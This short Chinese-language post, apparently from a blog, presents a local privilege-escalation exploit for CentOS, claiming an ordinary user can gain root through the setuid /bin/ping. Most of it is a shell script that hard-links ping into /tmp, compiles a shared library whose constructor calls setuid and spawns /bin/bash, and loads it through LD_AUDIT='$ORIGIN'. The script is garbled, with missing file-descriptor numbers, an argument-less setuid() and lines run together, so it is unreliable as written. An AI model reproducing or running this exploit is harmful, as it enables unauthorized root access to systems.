Centos普通用户提权至ROOT

时间:2024-01-03 21:57:20

1、利用/bin/ping的漏洞普通用户提权。(rws中的s)

[root@localhost ~]# ls -l /bin/ping
-rwsr-xr-x. root root 9月 /bin/ping

2、执行以下代码即可:

#!/bin/sh
unset LD_AUDIT
rm -r -f /tmp/exploit
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec < /tmp/exploit/target
ls -l /proc/$$/fd/
rm -rf /tmp/exploit
ls -l /proc/$$/fd/ cat > program.c << _EOF
void __attribute__((constructor)) init()
{
setuid();
system("/bin/bash");
}
_EOF gcc -w -fPIC -shared -o /tmp/exploit program.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/
unset LD_AUDIT